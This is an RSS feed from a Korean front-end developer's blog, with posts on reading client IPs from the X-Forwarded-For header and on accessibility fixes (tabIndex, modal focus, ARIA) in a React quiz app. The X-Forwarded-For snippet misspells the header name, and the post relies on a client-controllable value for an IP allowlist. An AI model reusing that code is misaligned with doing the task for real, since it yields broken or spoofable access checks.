<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>JJalseu</title>
        <link>https://velog.io/</link>
        <description>FE DEVELOPER</description>
        <lastBuildDate>Fri, 06 Jun 2025 07:34:53 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>JJalseu</title>
            <url>https://velog.velcdn.com/images/kcj_dev96/profile/d156d62b-7334-4ccb-aeeb-ea5e6944f2db/image.JPG</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. JJalseu. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/kcj_dev96" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[http header - X-Forwarded-For]]></title>
            <link>https://velog.io/@kcj_dev96/X-Forwarded-For</link>
            <guid>https://velog.io/@kcj_dev96/X-Forwarded-For</guid>
            <pubDate>Fri, 06 Jun 2025 07:34:53 GMT</pubDate>
            <description><![CDATA[<p>사내에서 특정 IP 목록일 경우에만 동작해야하는 feature가 있다.</p>
<p>해당 feature를 구현하기 위한 흐름은</p>
<ol>
<li>프론트에서 백엔드로 API 요청하여 허용된 IP 여부를 확인한다.</li>
<li>프론트에서 API 응답 여부에 따라 feature를 구현한다.</li>
</ol>
<p>백엔드에서는 클라이언트의 원 IP를 구분하기 위해서 <strong>X-Forwarded-For</strong>라는 요청 헤더로 IP 값을 받는다.</p>
<p>IP를 구분하기위해 이 헤더값을 이용하는 이유는 <strong>X-Forwarded-For</strong>가<strong>HTTP 프록시나 로드 밸런서</strong>를 통해 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별하는 사실상의 표준 헤더이기 때문이다.</p>
<p>사내에서는 도메인을 타고 들어오면 Nginx를 통해 사내 서버들에 라우팅해줄 것이다. 때문에 IP를 식별하기 위한 방법으로  <strong>X-Forwarded-For</strong>를 사용하는 것이 적절하다고 생각된다.</p>
<p><strong>X-Forwarded-For</strong>는 프론트에서 직접 헤더값을 설정해줄 필요가 없다. 이는 알아서 헤더가 설정되어 들어간다고 한다.</p>
<p>백엔드에 들어오는 값으로는 쉼표로 구분하여 들어오고 원 IP가 첫번째 값으로 프록시 서버 IP 갯수에 따라 다음 값들로 들어오게 된다.</p>
<pre><code>X-Forwarded-For: &lt;client&gt;, &lt;proxy1&gt;, &lt;proxy2&gt;</code></pre><p><code>&lt;client&gt;</code>
클라이언트 IP 주소</p>
<p><code>&lt;proxy1&gt;, &lt;proxy2&gt;</code>
하나의 요청이 여러 프록시들을 거치면, 각 프록시의 IP 주소들이 차례로 열거된다. 즉, 가장 오른쪽 IP 주소는 가장 마지막에 거친 프록시의 IP 주소이고, 가장 왼쪽의 IP 주소는 최초 클라이언트의 IP 주소다.</p>
<p>express를 사용하고 있다고 했을 때,백엔드에서는 다음처럼 헤더값으로 아이피를 구분하면 된다.</p>
<pre><code class="language-js">app.use((req, res, next) =&gt; {
  console.log(req.headers[&#39;x-forwared-for&#39;]); // &quot;true&quot;
  next();
});</code></pre>
<blockquote>
<p>HTTP 요청 헤더 이름은 대소문자를 구분하지 않기 때문에, 대부분의 서버(예: Node.js/Express, Nginx 등)는 내부적으로 모든 헤더 키를 소문자로 정규화(normalize)해서 관리한다고 한다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[리팩토링-웹 접근성- 키보드 사용 유저를 위한 적절한 tabIndex 설정]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-%EC%9B%B9-%EC%A0%91%EA%B7%BC%EC%84%B1-%EC%A0%81%EC%A0%88%ED%95%9C-tabIndex-%EC%84%A4%EC%A0%95</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-%EC%9B%B9-%EC%A0%91%EA%B7%BC%EC%84%B1-%EC%A0%81%EC%A0%88%ED%95%9C-tabIndex-%EC%84%A4%EC%A0%95</guid>
            <pubDate>Sat, 21 Dec 2024 17:50:35 GMT</pubDate>
            <description><![CDATA[<p>인터렉티브 UI(버튼,링크,인풋 등)에 적절한 tabIndex를 설정하는 것은 UX와 웹 접근성에 유리합니다.</p>
<p>저의 문제 상황은 다음과 같습니다.</p>
<h2 id="문제-상황-의도치-않은-tab-focusing">문제 상황-의도치 않은 tab focusing</h2>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/e0dbda0d-7f60-40e3-806e-9009959dc1ac/image.png" alt=""></p>
<p>위와 같이 퀴즈 페이지가 있습니다.</p>
<p>마우스를 사용하지 못하여, tab을 통해 인터렉티브 UI에 focusing을 잡으려 합니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/a25efa2c-8df0-499c-b6b6-17eaa28fe417/image.png" alt=""></p>
<p>위와 같이 인터렉티브한 UI가 페이지내에 존재하는데요.</p>
<p>위에서 처음 tab을 누르면 어떤 UI에 포커싱이 잡힐까요?</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/0885186b-cb15-430d-9ed7-a1642dbeb9f0/image.png" alt=""></p>
<p>로고에 제일 먼저 포커싱이 잡힙니다.</p>
<blockquote>
<p>로고는 링크이며 누르면 메인 화면으로 이동합니다.</p>
</blockquote>
<p>하지만 사용자가 위 화면에서 탭을 누를 때, 기대하는 동작은 무엇일까요?</p>
<p>아마도 아래와 같이 답안 체크박스에 포커싱이 되기를 기대할 것입니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/9d60b775-b6dd-456e-adba-2cda8b7dc01b/image.png" alt=""></p>
<p>하지만 현재 상태에서는 답안 체크박스까지 이동하기 위해서는 두 번의 탭을 거쳐야하죠.
이는 불편한 경험을 줄 수 있습니다.</p>
<blockquote>
<p>사용자의 기대 시나리오는 답안 체크에 포커싱을 한 뒤, 채점 버튼에 포커싱이 가기를 기대할 것입니다.</p>
</blockquote>
<p>그렇다면 어떻게 위 시나리오대로 설정할 수 있을까요?</p>
<p><strong><code>tabIndex</code></strong>를 사용하면 됩니다.</p>
<h2 id="tabindex">tabIndex</h2>
<p>tabIndex는 주로 Tab 키를 사용하는 연속적인 키보드 탐색에서 어느 순서에 위치할지 지정합니다.</p>
<p>tabIndex값 설정을 통해 tab을 누를 때, 인터렉션 요소 탐색 우선 순위를 설정할 수 있습니다.</p>
<p>양의 정숫값은 요소를 연속 키보드 탐색으로 접근할 수 있으며, 그 순서는 해당 값으로 지정하겠다는 것을 뜻합니다.</p>
<p>즉, tabindex=&quot;4&quot;인 요소는 tabindex=&quot;5&quot;와 tabindex=&quot;0&quot;인 요소 이전에, 그러나 tabindex=&quot;3&quot;인 요소 이후에 접근할 수 있습니다.</p>
<p>다수의 요소가 하나의 값을 공유할 경우 그 안에서 문서 소스 코드의 순서를 따릅니다. 최댓값은 32767입니다.</p>
<pre><code class="language-tsx">
    // 체크박스
   &lt;input
                tabIndex={0}
                className={&quot;accent-orange-600 w-5 h-5&quot;}
                type={&quot;checkbox&quot;}

            /&gt;

    // 일반 인풋
  &lt;input
                tabIndex={1}
                className={&quot;accent-orange-600 w-5 h-5&quot;}
                type={&quot;text&quot;}

            /&gt;

    // 숫자 인풋
  &lt;input
                tabIndex={2}
                className={&quot;accent-orange-600 w-5 h-5&quot;}
                type={&quot;text&quot;}

            /&gt;</code></pre>
<p>위처럼 체크박스와 인풋이 있다고 했을 때, tab으로 포커싱을 잡을시, 체크박스가 앞쪽에 위치했음에도 불구하고 일반 텍스트 인풋이 먼저 잡히고 그 다음으로 숫자 인풋이 잡히고 그 다음으로 체크박스가 잡히게 되죠.</p>
<p>따라서 시나리오대로 tab 우선순위를 설정하기 위해 tabIndex를 적절히 설정해보겠습니다.</p>
<h2 id="tabindex-적절한-값-설정">tabIndex 적절한 값 설정</h2>
<p>우선 위 헤더의 우선순위는 제일 마지막이 되어야할 것입니다.
따라서 그대로 두겠습니다.</p>
<blockquote>
<p>tabIndex의 기본값은 0입니다. 인터렉티브 UI(a,button,input 등)에는 기본적으로 0으로 설정되어있습니다.</p>
</blockquote>
<p>그 다음으로 체크박스가 제일 우선순위 1위가 되어야합니다.</p>
<p>따라서 해당 UI에 tabIndex를 <code>1</code>로 설정해보겠습니다.</p>
<pre><code class="language-tsx">import MultipleChoiceAnswers from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/client/quizAnswerForm/multipleChoiceAnswers&quot;;
import { MultipleChoiceContent } from &quot;@/app/services/quiz/types&quot;;
import React from &quot;react&quot;;

// 퀴즈 답안(객관식, 주관식,OX) 컴포넌트
function QuizAnswers({
    quizType,
    quizMultipleChoiceContents,
    setUserAnswer,
}: {
    quizType: string;
    quizMultipleChoiceContents: MultipleChoiceContent[];
    setUserAnswer: React.Dispatch&lt;
        React.SetStateAction&lt;number[]&gt;
    &gt;;
}) {
    return (
        &lt;&gt;
            {quizType === &quot;MULTIPLE_CHOICE&quot; &amp;&amp; (
                &lt;MultipleChoiceAnswers
                    tabIndex={1}
                    quizMultipleChoiceContents={
                        quizMultipleChoiceContents
                    }
                    setUserAnswer={setUserAnswer}
                /&gt;
            )}
        &lt;/&gt;
    );
}

export default QuizAnswers;
</code></pre>
<blockquote>
<p><code>MultipleChoiceAnswers</code> 컴포넌트 하위 컴포넌트들에 props로 tabIndex를 순차적으로 적용하여 결국에는 내부적으로는 input checkbox에 전달하고 있습니다.</p>
</blockquote>
<p>그 다음으로 채점버튼이 우선순위가 되어야할 것입니다.</p>
<p>때문에 채점 버튼에 tabIndex를 2로 설정하겠습니다.</p>
<pre><code class="language-tsx">import PrimaryButton from &quot;@/app/_components/button/primaryButton&quot;;
import PlaceOnCenter from &quot;@/app/_layout/placeOnCenter&quot;;
import React from &quot;react&quot;;

// 채점 버튼
function BeforeCheckButton({
    userAnswer,
}: {
    userAnswer: number[];
}) {
    return (
        &lt;PlaceOnCenter&gt;
            &lt;PrimaryButton
                tabIndex={2}
                disabled={userAnswer.length === 0}
                type={&quot;submit&quot;}
                color={&quot;primary&quot;}
            &gt;
                채점
            &lt;/PrimaryButton&gt;
        &lt;/PlaceOnCenter&gt;
    );
}

export default BeforeCheckButton;

</code></pre>
<p>위와 같이 설정하면 우리가 원하는 시나리오 대로 tab을 누를 시, 체크박스가 먼저 포커싱이 잡히게 되고 그 다음으로 채점 버튼일 잡히게 됩니다.</p>
<p>위와 같이,컨텐츠의 인터렉션 기대 시나리오대로 적절한 tabIndex 우선순위를 설정하는 것이 중요할 것 같습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리팩토링-웹 접근성- 키보드 사용 유저를 위한 모달 버튼에 tab focusing]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-%EC%9B%B9-%EC%A0%91%EA%B7%BC%EC%84%B1-%EB%AA%A8%EB%8B%AC-%EB%B2%84%ED%8A%BC%EC%97%90-tab-focusing</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-%EC%9B%B9-%EC%A0%91%EA%B7%BC%EC%84%B1-%EB%AA%A8%EB%8B%AC-%EB%B2%84%ED%8A%BC%EC%97%90-tab-focusing</guid>
            <pubDate>Sat, 21 Dec 2024 17:05:20 GMT</pubDate>
            <description><![CDATA[<p>Lighthouse로 접근성을 측정하면 아래와 같이 직접 확인을 해야할 목록들을 보여줍니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/d801df75-d237-4808-85e3-e6480ea6637b/image.png" alt=""></p>
<p>그중에서 위에서 펼쳐진 부분에 대해서 멈칫했는데요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/1dca8b3d-a1d6-4ccd-ae3f-9bb6e2104973/image.png" alt=""></p>
<p><strong>모달 같은 컨텐츠가 있을시, 유저가 포커스할 때, 모달 내부 인터렉션이 포커스가 되어야한다고 말해주고 있습니다.</strong></p>
<p>이제 저의 문제 상황을 말해보도록 하겠습니다.</p>
<h2 id="문제-상황">문제 상황</h2>
<p>저의 경우, 정답을 체크하고 채점을 누르면 퀴즈에 대한 결과를 모달로 보여주고 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/1b8b03ca-9f14-45a0-a873-89aaa4151b8b/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/ca8427d5-43a4-4018-a082-3d7e7f4f2083/image.png" alt=""></p>
<p>하지만 위 상태에서 tab을 누르면 바로 모달 내부의 해설 버튼에 포커싱이 가지 않습니다.</p>
<p>tab을 누르면서 본 페이지의 인터렉티브 UI를 다 거치고 나서야 모달의 버튼에 포커싱이 되죠.</p>
<p><strong>포커싱된 상태</strong>
<img src="https://velog.velcdn.com/images/kcj_dev96/post/f083aef9-180b-4a33-849e-7113ac3282bb/image.png" alt=""></p>
<p>다시 한번, Lighthouse에서 제안한 항목을 살펴보겠습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/1dca8b3d-a1d6-4ccd-ae3f-9bb6e2104973/image.png" alt=""></p>
<p>모달 같은 컨텐츠가 있을시, 유저가 포커스할 때, 모달 내부 인터렉션이 포커스가 되어야한다고 말해주고 있습니다.</p>
<p>지금 저의 모달 상태는 위 권장사항을 따르지 못하고 있죠.</p>
<p>따라서 저는 모달이 열릴 때, 해설 버튼에 포커싱을 잡아보도록 하겠습니다.</p>
<h2 id="how-about-tabindex">How about tabIndex?</h2>
<p><code>tabIndex</code>는 주로 <code>Tab</code> 키를 사용하는 연속적인 키보드 탐색에서 어느 순서에 위치할지 지정합니다.</p>
<p>인터렉션한 UI들을 키보드로 탐색할 때, tab을 통해 탐색할 수 있죠.</p>
<blockquote>
<p>이는 마우스 사용이 불가하거나 신체적으로 불편한 경우(마우스를 못 잡는 경우가 있을 수도 있으실 수 있겠죠)를 대비하여 웹 접근성을 높이기위해 필요한 기능이죠.</p>
</blockquote>
<p>어쨋든 <code>tabIndex</code>값 설정을 통해 tab을 누를 때, 인터렉션 요소 탐색 우선 순위를 설정할 수 있습니다.</p>
<p>양의 정숫값은 요소를 연속 키보드 탐색으로 접근할 수 있으며, 그 순서는 해당 값으로 지정하겠다는 것을 뜻합니다.</p>
<p>즉, tabindex=&quot;4&quot;인 요소는 tabindex=&quot;5&quot;와 tabindex=&quot;0&quot;인 요소 이전에, 그러나 tabindex=&quot;3&quot;인 요소 이후에 접근할 수 있습니다.</p>
<p>다수의 요소가 하나의 값을 공유할 경우 그 안에서 문서 소스 코드의 순서를 따릅니다. 최댓값은 32767입니다.</p>
<pre><code class="language-tsx">
    // 체크박스
   &lt;input
                tabIndex={0}
                className={&quot;accent-orange-600 w-5 h-5&quot;}
                type={&quot;checkbox&quot;}

            /&gt;

    // 일반 인풋
  &lt;input
                tabIndex={1}
                className={&quot;accent-orange-600 w-5 h-5&quot;}
                type={&quot;text&quot;}

            /&gt;

    // 숫자 인풋
  &lt;input
                tabIndex={2}
                className={&quot;accent-orange-600 w-5 h-5&quot;}
                type={&quot;text&quot;}

            /&gt;</code></pre>
<p>위처럼 체크박스와 인풋이 있다고 했을 때, tab으로 포커싱을 잡을시, 체크박스가 앞쪽에 위치했음에도 불구하고 일반 텍스트 인풋이 먼저 잡히고 그 다음으로 숫자 인풋이 잡히고 그 다음으로 체크박스가 잡히게 되죠.</p>
<h3 id="tabindex는-적용-안됨">tabIndex는 적용 안됨.</h3>
<p>그래서 저는 모달 버튼들에 tabIndex를 엄청 높게 주면 어떨까?라는 생각을 하여 버튼들에 tabIndex값을 높히 설정해보았습니다.</p>
<pre><code class="language-tsx">        &lt;PrimaryLink
                key={index}
                href={link.href}
                color={link.color}
                  tabIndex={1000}

            &gt;
                {link.text}
            &lt;/PrimaryLink&gt;</code></pre>
<p>하지만 위와 같이 하여도 모달이 떠있는 경우,tab으로 하여도 focusing이 안되더군요.</p>
<p>그래서 다른 방법을 생각해봤습니다.</p>
<h2 id="모달-띄울시-첫번째-링크-포커싱">모달 띄울시, 첫번째 링크 포커싱</h2>
<p>프로그램적으로 접근해보았습니다.
모달이 처음 띄워질 때, 첫번째 링크가 포커싱되게 말이죠.</p>
<p>따라서 다음과 같이 코드를 구성해보았습니다.</p>
<pre><code class="language-tsx">import PrimaryLink from &quot;@/app/_components/link/primaryLink&quot;;
import { ModalContext } from &quot;@/app/_components/modal/_context/modalContext&quot;;
import React, {
    useContext,
    useEffect,
    useRef,
} from &quot;react&quot;;

// 모달 링크
function ModalLinks() {
    const modal = useContext(ModalContext);

    const firstLinkRef = useRef&lt;null | HTMLAnchorElement&gt;(
        null,
    ); // 첫 번째 링크를 참조하기 위한 ref

    useEffect(() =&gt; {
        // 모달 링크가 열릴 때 첫 번째 링크에 포커스 설정
        if (firstLinkRef.current) {
            firstLinkRef.current.focus();
        }
    }, [modal.links]); // 링크 배열이 변경될 때마다 실행

    return (
        modal.links &amp;&amp;
        modal.links.map((link, index) =&gt; (
            &lt;PrimaryLink
                key={index}
                href={link.href}
                color={link.color}
                ref={index === 0 ? firstLinkRef : null} // 첫 번째 링크에만 ref 연결
            &gt;
                {link.text}
            &lt;/PrimaryLink&gt;
        ))
    );
}

export default ModalLinks;
</code></pre>
<p>여러 개의 링크들 중 첫번째 링크 UI에 ref 속성을 부여하여 처음 Mount될시, foucs를 잡게 하였습니다.</p>
<p>위와 같은 방법뿐만 포커스 트랩이라는 방법도 사용할 수 있습니다.</p>
<blockquote>
<p>포커스 트랩은 모달이 열려 있는 동안 포커스가 모달 내부의 요소에서만 이동할 수 있도록 ,모달 외부 인터렉션 UI에 포커싱 제한을 두는 방법입니다.</p>
</blockquote>
<p>여하튼 위와 같은 작업을 통해 웹 접근성을 한층 높일 수 있게 되었습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리팩토링-웹 접근성-요소에 대해 더 자세히 알려주기-aria 속성 설정]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-aria-%EC%86%8D%EC%84%B1-%EC%84%A4%EC%A0%95</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-aria-%EC%86%8D%EC%84%B1-%EC%84%A4%EC%A0%95</guid>
            <pubDate>Sat, 21 Dec 2024 14:37:24 GMT</pubDate>
            <description><![CDATA[<p>이번에는 웹 접근성 관련한 리팩토링을 진행해볼까합니다.
 웹 접근성 향상을 위해서는 aria 속성을 태그에 적절히 활용할 수 있는데요.</p>
<h2 id="ariaaccessible-rich-internet-applications">ARIA(Accessible Rich Internet Applications)</h2>
<p> ARIA(Accessible Rich Internet Applications) 속성은 웹 접근성을 개선하기 위해 <strong>HTML 요소에 추가하는 속성</strong>으로, 주로 <strong>화면 읽기 도구(screen reader)</strong>와 같은 보조 기술이 웹 콘텐츠를 올바르게 해석하고 사용자에게 전달하도록 돕습니다.</p>
<pre><code class="language-tsx">import &quot;prismjs/themes/prism.css&quot;;

import sanitize from &quot;@/app/_utils/function/sanitize&quot;;
import React from &quot;react&quot;;

// 퀴즈 해설 컨텐츠
function QuizExplanationContent({
    content,
}: {
    content: string;
}) {
    return (
        &lt;div
            className={&quot;prose&quot;}
            aria-live={&quot;polite&quot;} // &lt;== 요기
            dangerouslySetInnerHTML={{
                __html: sanitize(content),
            }}
        /&gt;
    );
}

export default QuizExplanationContent;
</code></pre>
<p>ARIA 속성은 웹 접근성에 있어 주요한 역할을 담당하고 있습니다. Lighthouse 접근성 항목을 측정만 해보더라도 많은 측정항목이 aria 속성에 관련되있는 것을 확인할 수 있죠.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/a8fe8cfa-364c-4027-9847-8e20584b5dc6/image.png" alt=""></p>
<p>ARIA 속성은 사용자에게 해당 요소가 어떠한 역할을 하는지 알려주는 것이 제일 중요한 역할인데요.</p>
<p>주요 역할은 다음과 같습니다.</p>
<h2 id="aria-속성의-주요-역할">ARIA 속성의 주요 역할</h2>
<ul>
<li><p>역할(Role): 요소가 어떤 역할을 하는지 정의합니다.
예: 버튼, 대화 상자, 메뉴 등.
<code>&lt;div role=&quot;button&quot;&gt;Click me&lt;/div&gt;</code></p>
</li>
<li><p>상태(State): 현재 상태 정보를 제공합니다.
예: 활성화 여부, 선택 상태.
<code>&lt;button aria-pressed=&quot;true&quot;&gt;Toggle&lt;/button&gt;</code> (활성화된 토글 버튼)</p>
</li>
<li><p>속성(Properties):요소와 관련된 추가 정보를 제공합니다.
예: 이름, 설명, 관계 등.
<code>&lt;input aria-label=&quot;Search&quot; /&gt; (검색 상자에 라벨 추가)</code></p>
</li>
</ul>
<h2 id="주요-속성">주요 속성</h2>
<p> 주로 사용되는 속성은 다음과 같습니다.</p>
<h4 id="role">role</h4>
<p>요소의 기능을 명시적으로 정의합니다.
예: <code>&lt;div role=&quot;alert&quot;&gt;Error!&lt;/div&gt;</code></p>
<h4 id="aria-label">aria-label</h4>
<p>요소의 대체 라벨을 제공합니다.
예: <code>&lt;button aria-label=&quot;Submit Form&quot;&gt;&lt;/button&gt;</code></p>
<h4 id="aria-labelledby">aria-labelledby</h4>
<p>특정 ID를 참조해 요소의 라벨을 제공합니다.
예:</p>
<pre><code class="language-html">&lt;h1 id=&quot;title&quot;&gt;Form Title&lt;/h1&gt;
&lt;form aria-labelledby=&quot;title&quot;&gt;</code></pre>
<h4 id="aria-live">aria-live</h4>
<p>동적인 콘텐츠 업데이트 시 스크린 리더 같은 보조기기가 사용자에게 적절한 정보를 전달할 수 있도록 돕는 역할을 합니다.</p>
<p>aria-live는 요소가 동적으로 업데이트될 때 스크린 리더가 이를 감지하고 사용자에게 읽어주는 방식을 지정합니다.</p>
<pre><code class="language-html">&lt;div aria-live=&quot;polite&quot;&gt;
  &lt;p id=&quot;message&quot;&gt;&lt;/p&gt;
&lt;/div&gt;</code></pre>
<h4 id="aria-describedby">aria-describedby</h4>
<p>특정 ID를 참조해 요소의 추가 설명을 제공합니다.
예:</p>
<pre><code class="language-html">&lt;button aria-describedby=&quot;help-text&quot;&gt;Submit&lt;/button&gt;
&lt;span id=&quot;help-text&quot;&gt;Click to submit the form.&lt;/span&gt;</code></pre>
<h4 id="aria-hidden">aria-hidden</h4>
<p>요소를 화면 읽기 도구에서 숨깁니다.
예: <code>&lt;div aria-hidden=&quot;true&quot;&gt;Hidden Content&lt;/div&gt;</code></p>
<h4 id="aria-live-1">aria-live</h4>
<p>동적으로 변경되는 콘텐츠를 알립니다.
예: <code>&lt;div aria-live=&quot;polite&quot;&gt;New message received.&lt;/div&gt;</code></p>
<h4 id="aria-expanded">aria-expanded</h4>
<p>요소가 확장되었는지 여부를 나타냅니다.
예: <code>&lt;button aria-expanded=&quot;false&quot;&gt;Toggle Menu&lt;/button&gt;</code></p>
<h4 id="aria-pressed">aria-pressed</h4>
<p>요소가 눌린 상태인지 나타냅니다.
예: <code>&lt;button aria-pressed=&quot;true&quot;&gt;Bold&lt;/button&gt;</code></p>
<p>위 속성외에도 여러가지가 있으니 MDN에서 살펴보면 될 것 같습니다.</p>
<h2 id="aria-속성-언제-필요할까">aria 속성 언제 필요할까?</h2>
<p>aria 속성을 프로젝트 점검 및 적용하기에 앞서, aria 속성을 어떠한 상황에 적용해야할까요?</p>
<p>스크린 리더가 HTML 요소를 읽었을 때, 요소가 표현하려는 컨텐츠 관련하여 정보가 부족한 경우나 알 수 없을 때 사용하면 좋을 것 같습니다.</p>
<p>이러한 이유 때문에 시맨틱 태그 즉, 각 컨텐츠에 맞는 적절한 HTML 태그를 설정하는 것이 중요합니다. MDN에서도 aria 속성을 적용하기에 앞서 적절한 HTML 태그를 설정 확인 여부를 권장하고 있어요.</p>
<p>지난번에는 프로젝트의 모든 컴포넌트를 점검하여 시맨틱 태그로 변환해봤는데요. 그렇기 때문에 aria 속성을 적용할 일은 많이 없다고 예측됩니다.</p>
<p>그렇다면 한번 적용해보도록 하겠습니다.</p>
<h2 id="프로젝트-aria-속성-적용">프로젝트 aria 속성 적용</h2>
<p>aria 속성을 적용하기 전과 후의 코드를 보여드리도록 하겠습니다.
그리고 어떠한 HTML 태그를 설정되어있을 때에는 aria 속성을 굳이 설정할 필요없는지에 대한 코드와 설명을 첨부하겠습니다.</p>
<p>우선 굳이 aria 속성을 적용하지 않아도 되는 경우를 살펴보겠습니다.
위에서부터 아래로 컴포넌트를 확인해보겠습니다.</p>
<h3 id="굳이-aria-속성을-적용할-필요가-없는-경우">굳이 aria 속성을 적용할 필요가 없는 경우</h3>
<pre><code class="language-tsx">import HomeInnerContainer from &quot;@/app/_home_components/homeInnerContainer&quot;;
import HomeLink from &quot;@/app/_home_components/homeLink&quot;;
import HomeOuterContainer from &quot;@/app/_home_components/homeOuterContainer&quot;;
import HomeSubTitle from &quot;@/app/_home_components/homeSubTitle&quot;;
import HomeTitle from &quot;@/app/_home_components/homeTitle&quot;;

/**
 * 메인 페이지
 * SSG
 */
export const dynamic = &quot;force-static&quot;;

export default function Home() {
    return (
        &lt;HomeOuterContainer&gt;
            {/* 내부 카피 컨텐츠  */}
            &lt;HomeInnerContainer&gt;
                {/* 메인 타이틀 */}
                &lt;HomeTitle
                    title={&quot;개발자들의 아지트, 코아&quot;}
                /&gt;
                {/* 부제목 */}
                &lt;HomeSubTitle
                    subTitle={
                        &quot;퀴즈로 실력을 키우고, 함께 성장하세요.&quot;
                    }
                /&gt;
                {/* 메인 링크  */}
                &lt;HomeLink /&gt;
            &lt;/HomeInnerContainer&gt;
        &lt;/HomeOuterContainer&gt;
    );
}
</code></pre>
<p><code>HomeOuterContainer</code> 컴포넌트는 레이아웃 용도니 넘어가도록 하겠습니다.</p>
<pre><code class="language-tsx">import React from &quot;react&quot;;

// 메인 내부 컨테이너
function HomeInnerContainer({ children }: { children: React.ReactNode }) {
    return (
        &lt;section
            className={&quot;flex justify-center items-center flex-col gap-[40px]&quot;}&gt;
            {children}
        &lt;/section&gt;
    );
}

export default HomeInnerContainer;
</code></pre>
<p><code>HomeInnerContainer</code> 컴포넌트는 내부 카피들을 컨텐츠를 감싸는 역할입니다. 내부 카피와 메인 서비스로 이동할 수 있는 링크를 감싸고 있는 하나의 섹션으로 구분할 수 있기에 <code>section</code>태그로 설정하였습니다.</p>
<p>이는 적절한 HTML 태그로 설정했기에 굳이 aria 속성을 적용할 필요가 없다고 판단하였습니다.</p>
<pre><code class="language-tsx">import React from &quot;react&quot;;

// 메인 타이틀
function HomeTitle({ title }: { title: string }) {
    return (
        &lt;h1
            className={
                &quot;lg:text-headline2 md:text-headline3 sm:text-headline3 text-center&quot;
            }&gt;
            {title}
        &lt;/h1&gt;
    );
}

export default HomeTitle;
</code></pre>
<p>대문 타이틀 카피입니다. 이 또한 heading1 태그로 표현하였고 내부 텍스트의 내용이 서비스의 내용을 잘 나타내주고 있기에 aria 속성으로 부가적인 정보를 줄 필요가 없어보이네요.</p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

// 메인 부제
function HomeSubTitle({
    subTitle
                         }:{
    subTitle: string
}) {
    return (
        &lt;h2
            className={&quot;lg:text-headline3 md:text-title2Bold sm:text-title2Bold&quot;}
        &gt;
            {subTitle}
        &lt;/h2&gt;
    );
}

export default HomeSubTitle;
</code></pre>
<p>위는 부제목 카피이며 heading2태그로 표현하고 내부 텍스트가 어떠한 내용인지 잘 설명해주고 있기에 이 또한 aria 속성을 덧붙힐 필요가 없어보입니다.</p>
<pre><code class="language-tsx">import PrimaryLink from &quot;@/app/_components/link/primaryLink&quot;;
import PATHS from &quot;@/app/_constants/paths&quot;;
import React from &#39;react&#39;;

// 메인 링크
function HomeLink() {
    return (
        &lt;PrimaryLink
            className={&quot;!w-[130px] !h-[42px]&quot;}
            href={`/${PATHS.QUIZ}`}
        &gt;
            퀴즈 풀어보기
        &lt;/PrimaryLink&gt;
    );
}

export default HomeLink;
</code></pre>
<p>퀴즈 서비스로 넘어가는 링크입니다.</p>
<p>스크린 리더가 a 태그를 읽을 때, 링크라는 것을 들려주며 내부 텍스트 또한 <code>퀴즈 풀어보기</code>로 표현함으로써 버튼을 누르면 퀴즈가 나올 것을 기대할 수 있으므로 굳이 aria 속성을 설정할 필요가 없었습니다.</p>
<p>위와 같이 적절한 태그와 내부 텍스트가 내용을 잘 설명해주고 있다면 굳이 aria 속성을 지정할 필요가 없습니다.</p>
<p>그럼 다음으로 aria 속성을 적용하면 좋을 요소들을 살펴보고 적용해보도록 하겠습니다</p>
<h3 id="aria-속성-적용">aria 속성 적용</h3>
<pre><code class="language-tsx">&quot;use server&quot;

import QuizAnswerForm from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/client/quizAnswerForm/quizAnswerForm&quot;;
import QuizDetailsManager from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/client/quizDetailsManager&quot;;
import QuizContent from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/server/quizContent&quot;;
import QuizQuestion from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/server/quizQuestion&quot;;
import QuizTitle from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/server/quizTitle&quot;;

import {QuizItem} from &quot;@/app/services/quiz/types&quot;;
import React from &#39;react&#39;;

// 퀴즈 상세 컴포넌트
const QuizDetails = ({
                         quizData
                     }:{quizData:QuizItem}) =&gt; {

    return (
        &lt;QuizDetailsManager&gt;
            {/*퀴즈 제목*/}
            &lt;QuizTitle
                title={quizData.metaTitle}
            /&gt;
            {/*퀴즈 문제*/}
           &lt;QuizQuestion
               question={quizData.title}
           /&gt;
            {/*퀴즈내용*/}
            &lt;QuizContent
                content={quizData.content}
            /&gt;
